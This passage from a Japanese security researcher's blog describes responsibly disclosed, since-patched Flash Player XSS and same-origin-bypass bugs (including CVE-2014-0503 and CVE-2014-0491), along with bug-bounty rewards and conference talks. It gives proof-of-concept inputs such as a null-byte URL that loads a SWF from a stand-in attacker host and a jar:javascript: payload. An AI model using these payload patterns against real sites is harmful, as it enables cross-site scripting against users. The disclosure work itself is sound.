面白いことに、他の置換できる関数、例えばreplace(/\\/g,"\\\\") を使って置換する場合は、 置換前から後続の文字とくっついてU+FFFDだと評価されているのか、\\への置換は起きませんでした。
また、ExternalInterface.call()に 「U+D800"」を与えた場合でも、( 「"」の文字はJavaScript実行時にFlash側で「\"」とエスケープされますが、このエスケープよりも先に ) 「U+D800"」から「U+FFFD」が作られるようなので、 問題は起きません。

いろいろ試してみたものの、結局 split().join() と ExternalInterface.call() の組み合わせしかXSSに繋がるケースは思いつきませんでした。マイナーすぎて、修正してくれるか微妙だなーと思いながらそのケースだけAdobeに報告しましたが、割と短い期間で修正してくれました。ナイスです。
修正後は上位サロゲートにあたるバイト値が後続の文字を一切潰さなくなりました。


実はこのバグ、GitHubがバグ報酬制度を始めたときにみつけたものです。
GitHubで使われていた、ZeroClipboardというSWFが、まさにパラメータ文字列をsplit("\\").join("\\\\")で置換してExternalInterface.call()の第2引数に渡す処理をしていました。

このバグの報酬として、GitHubの報酬制度を通じて$1,800を頂きました。
GitHub Bug Bounty · Masato Kinugawa

GitHubはContent Security Policyを導入していますが、FlashがCSPに対応していないので、CSPもすり抜けるとして、ちょっと普通のXSSより評価ポイントが高くなっています。ちなみに、ZeroClipboardの古いバージョンには今回のバグとは関係ないExternalInterface.call()絡みのXSSがある( http://seclists.org/fulldisclosure/2013/Feb/103 )ので、使っている人は1度バージョンを確認した方がいいかもしれません。

加えて、HackerOneのFlashの報酬制度を通して、$2,000を頂きました。
 #7803 Security bypass could lead to information disclosure - HackerOne

Flashの報酬制度で報酬を頂くのは、これで3度目になります。毎度ありがたいです。


今回、split().join()とExternalInterface.call()が組み合わさった時に問題が起きることに気が付いたのは、ZeroClipboardのSWFに問題が起きそうな文字を適当に入れていたらたまたま、というかんじでした。つくづく、何も考えずにひとまず適当に試してみるのもバグの発見には重要な行為だと感じます。

2014/04/30

CVE-2014-0503: 0x00文字を使ったFlashのセキュリティ制限のバイパス

Flash Playerに存在した、 セキュリティ制限をバイパスすることができた問題について書きます。この問題は2013年11月10日にAdobeに報告し、2014年3月のアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-08.html
These updates resolve a vulnerability that could be used to bypass the same origin policy (CVE-2014-0503).
早速どのような問題だったか書いていきます。
(なお、本問題はFirefoxにインストールしたFlash Playerでしか再現しませんでした。)


loader.load() という関数があります。この関数は、画像やSWFなどをSWF上にロードするために用いられます。
第1引数で、ロードする画像やSWFのURL、 第2引数で、どういったコンテキストで動作させるかを設定することができます。第2引数の設定次第では、第1引数に指定した別ドメインのSWFを読み込んで、そのSWFに記述されているJavaScriptの呼び出しを読み込み側のコンテキストで動作させることもできます。第2引数を省略した場合は、JavaScriptを実行できるのは同一ドメインのSWFの場合のみです。

これを踏まえて、以下のようなコードがあった場合を考えます。
var url:URLRequest = new URLRequest(loaderInfo.parameters["url"]);
var loader:Loader = new Loader();
loader.load(url);
addChild(loader);
loader.load()にパラメータの値がそのまま渡されているようなコードです。
セキュリティを考えたことがある人なら、未検証で値を渡していることに直感的に不安をかんじると思いますが、この関数においては、通常は、SWFがあるドメイン上で画像ファイルなどを勝手にロードできるだけで、大きな問題にはならないはずです。(もちろん、 javascript: な URLを指定してもFlash側でそのような動作は禁止されており、JavaScriptは実行されません。)
しかしながら、以下のようなURLを与えると、通常の制限を超えて、別ドメインのSWFからJavaScriptを動作させること(すなわち、XSSすること)ができていました。

http://victim.example.com/viewer.swf?url=http://victim.example.com%2500@attacker.example.org/xss.swf

(※ 被害者のサイトを victim.example.com、攻撃者のサイトを attacker.example.org  とします)

このURLで loaderInfo.parameters["url"]が実際に受け取る値は、http://victim.example.com%00@attacker.example.org/xss.swf です。ですから、ロードしようとしているのは、攻撃者のサイトに設置されたSWFファイルということになります。

前述のとおり、通常、第2引数を指定しない場合は、同一ドメインのSWFファイルをロードしたときしかJavaScriptの実行は起こらないはずでした。ところが、攻撃者のサイトのURLの認証情報を記述する部分に 「被害者のサイトのホスト」 + 「%00」 を指定することで、ロードしようとしているURLを被害者のサイトのドメインのコンテンツと誤って判断してしまうのか、xss.swfのJavaScriptの呼び出しをvictim.example.comで実行してしまいます。

要するに、この動作によって起きることは、loader.load()の第1引数に任意の値を渡せるSWFファイルがターゲットのサイトにあれば、XSSが可能になってしまうということです。この関数でも、CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS で問題になった関数と同じように、画像などが勝手に自ドメインでロードされてもさほど問題にはならないので、パラメータから受け取った値をそのままロードするURLとして使っていることがよくあります。この問題のせいでXSSに脆弱になるサイトはたくさんあったのではないでしょうか。

以上のような問題でした。
また、同じように0x00文字を用いる方法で、allowScriptAccess=sameDomain 制限をバイパスできたり、BitmapData.draw()を使って別ドメインの画像ファイルの情報を読み取れたり、Flashの関数中で相対パス指定されているとき、細工したドメインを相対パスの元として読ますことができたりと、様々なおかしなことを起こせていました。

本問題も、HackerOneThe Internet Bug Bountyを通じて $2,000 の賞金を頂きました。MicrosoftとFacebookがスポンサーになっているらしいので、両社に感謝です。ありがとうございます。

#6380 Same Origin Security Bypass Vulnerability - HackerOne

次回の記事でも修正されたFlashの脆弱性を紹介するつもりです。

2014/03/26

SECCON全国大会カンファレンスの発表資料を公開しました

2014年3月1-2日に行われたSECCON 2013 全国大会のカンファレンスで、cybozu.com Security Challengeで発見した脆弱性について発表させて頂きました。

cybozu.com Security Challengeは、サイボウズが2013年11月に実施した、同社が提供するアプリケーション「kintone」の実際の脆弱性を発見する賞金付きコンテストです。
ご存知の方はご存知の通り、このコンテストで優勝しました。

頂いた表彰状です。



優勝賞金は、1,038,960円を頂きました。 



一部で話題になりましたが、このパネルにおかしいところが4件あるそうなので、まだ間違い探しをトライしていない方は探してみてください。

資料は以下に公開しました。




どうぞご覧ください。全体的に内容は易しめです。 

拙い発表を聴いて下さった皆さま、ありがとうございました。

コンテスト参加者の皆さま、お疲れ様でした。修正された問題はぜひ共有してください。

伊藤さんをはじめ、サイボウズの皆さま、初めての試みにもかかわらずスムーズな対応で、楽しみながら安心して脆弱性を検証することができました。このような素晴らしいコンテストを実施してくださりありがとうございました。

海外では、セキュリティ問題の報告に対し報酬を支払う取り組みが大分活発になってきていますが、日本ではまだあまり行われていません。サイボウズの取り組みをきっかけに、日本でも盛り上がってくることを期待しています。

OWASP AppSec APAC 2014で発表しました

OWASP AppSec APAC 2014 で、はせがわようすけさん、malaさんと一緒に、「XSS Allstars from Japan」という枠で登壇しました。3人それぞれ好きなテーマについて発表をしたのですが、僕は、2011年頃から個人的にやってきた、文字エンコーディングの調査について発表しました。

スライドは以下で公開されています。

The Complete Investigation of Encoding and Security // Speaker Deck

はせがわさんのスライドはこちら: Bypass SOP, Theft your data // Speaker Deck
malaさんのスライドはこちら: XSS with HTML parsing confusion // Speaker Deck

エンコーディングに関する様々な調査結果は以下で公開しています。

http://l0.cm/encodings/


結果に変更があり次第、更新していきます。最近もFirefox 28で大きな変更があったので既に反映させました。(@vyv03354さん、お知らせ頂きありがとうございます)
もともと誰かにみせることを前提に調査していなかったので、荒い部分もあるかもしれません。おかしなところがあれば教えてください。

以下、発表では伝えきれなかったこと、確実に伝えたいことを Q & A 形式でお送りします。


Q.
CVEがついてるものとそうでないものが混じってるけど、公開しても大丈夫なの?
A.
掲載されているものすべてが脆弱性と言えるものとは限りません。脆弱性とみなされるような問題は修正されています。
  

Q.
わたしは開発者です。手っ取り早く、すべきことはなに?
A.
charsetを"レスポンスヘッダで"確実に指定してください。

Q.
なぜ、"レスポンスヘッダで"すべきなの?
A.
レスポンスヘッダによる指定の方が、誤って別のエンコーディングで解釈される可能性が低くなるからです。一例をあげると、<meta http-equiv>でのみcharset指定をしていた場合、IEのXSSフィルターは、URLに「<meta http-equiv=>」といった文字を与えるとcharset指定を破壊できてしまうので、ページのcharsetが不明瞭( =ブラウザが自動で選択する )になってしまいますが、レスポンスヘッダによる指定はこの影響を受けません。

Q.
普段誰も使っていないエンコーディングを調べて意味あるの?
A.
UTF-7はほとんど使われていませんが、攻撃に利用できるとして問題になったように、危険性を考える上で、普段使われていないエンコーディングの挙動を調べることにも価値があるはずです。




その他、疑問点などありましたら言って頂ければお答えします。


OWASP AppSec APAC 2014に関わった皆様、お疲れ様でした。
スタッフの方々、撮影の不可など、ご配慮いただきましてありがとうございました。
一緒に発表したはせがわさん・malaさん、発表には不慣れですが、頼りになる2人と一緒だったので心強かったです。ありがとうございました。
同時通訳の方、しゃべるの早すぎるし、言葉が滑らかにでてこないしで、 相当大変だったと思います。発表中は通訳さんのことを考えている余裕がありませんでした…。大変ご迷惑をおかけしました。ありがとうございました。
最後に、拙い発表を聴いて下さったたくさんの方々、ありがとうございました。

このような素晴らしいイベントに関われて本当に嬉しいです。

------
2014年4月2日更新: スライドのリンクが変更されていたので修正しました。

2014/03/02

CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS

これは、2013年11月8日に報告し、 2014年1月のアップデートで修正された、AS2の普通JavaScriptが実行できるべきでない複数の関数で、JavaScriptを実行できた問題です。

https://helpx.adobe.com/security/products/flash-player/apsb14-02.html

These updates resolve a vulnerability that could be used to bypass Flash Player security protections (CVE-2014-0491).

FlashのnavigateToURLに指定するURLで、jar:というプロトコルをURLの先頭につけると、セキュリティ制限を突破できてしまうことが、 Soroush Dalili氏によって公開されていました。( https://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/ )

氏の発見をきっかけに、この挙動について自分でも深く追っていったところ、手法が公開されていないもので、jar:を使ったかなり致命的な問題があることに気が付きました。

確認しただけで、少なくとも、次の関数はすべて、"jar:javascript:alert(1)" をロードするURLとして指定すると、JavaScriptを実行できていました。(※ただし、Firefox上のFlash Playerに限ります)

MovieClipLoader.loadClip
loadMovie
loadMovieNum
loadVariables
loadSound

こういうことです:

_root.loadMovie("jar:javascript:alert(1)")
//JavaScriptが実行される

これはかなり危険な動作です。これらの関数は音声や動画再生などに使われますが、普通は任意のURLをロードできても、動画や音声を再生できるだけなので、世間で使われているFlashファイルでは、特に読み込み可能なURLを制限していないことが多いからです。 ロードするURLをパラメータからもらって、これらの関数を使ってしまったらXSS脆弱性が生まれてしまうことになります。

ExternalInterface.callのバグをずっと放置していたりするので、Adobeはもしかするとこの問題をスルーするかもしれないと思っていましたが、11~1月という、割と短い期間で修正してくれました。しかも、loadMovieなどの関数のXSSバグだけではなく、jar:を使ったすべてのハックが封印されたようです。素晴らしい。

このバグを報告してしばらくしたあと、Flashの報酬制度が発表されました…。
タイミング悪いなーと思っていたら、 後日わざわざ連絡がきて、HackerOneThe Internet Bug Bountyを通じて、$2,000の報酬を頂きました。ここのレポートだと "Handling of jar: URIs bypasses AllowScriptAccess=never" というタイトルで掲載されていますが、( https://hackerone.com/reports/2107 ) 同時期にjar:を使ってAllowScriptAccess制限をバイパスできたバグも報告していたので、これがjar:のバグの代表としてタイトルになったのだと思います。 Soroush Dalili氏もAllowScriptAccess制限をバイパスできた問題を発見していたようで、詳細は氏のブログに書かれていますので、参考にしてください。(
https://soroush.secproject.com/blog/2014/01/catch-up-on-flash-xss-exploitation-part-3-xss-by-embedding-a-flash-file/ )


最近集中的にFlashを追っていましたが、Flashはバグが多いです。
今回のように、おかしな場所でXSSが生まれてしまったりすることもありうるので、サービス運営者は、危険になる可能性を少しでも減らすために、必要ないFlashファイルを1度整理されるといいと思います。

2014/01/30

GoogleからNexus 5をもらった

2013年もGoogleの脆弱性報酬制度を通じて脆弱性報告を続けていました。
2013年も上位の貢献者だったということで、今年もGoogleからプレゼントを頂きました!
Nexus 5です!やった!


実は最近自分の使っていた携帯電話が壊れてしまって、ちょうど新しいのを買おうと思っていたところでした。去年はNexus 10一昨年はChromebookを頂いていたので、今年出たGoogleの製品と言えばNexus 5かも、なんてひそかに思っていたらその通りだったので本当に嬉しいです。

フード付きの服ももらいました。表はSecurity Bot がプリントされています。


裏はXSS仕様。




2013年は報酬の大幅アップが発表されたこともあり、結構力を入れてバグを探していました。

いまGoogleのバグを探すのは大変ですが、だからこそ、それを乗り越えたときに味わえる特別な楽しみがあります。
また、Googleのセキュリティチームの人たちは、変わった問題を報告しても、そんなマニアックなの知るか、みたいなことはなく、バグの面白さも含めて理解してくれるので、面白さを共有できることも僕の楽しみの一つです。
素晴らしい制度を実施してくれたGoogleに感謝します。
2014年もたくさんバグをみつけられるよう努力します!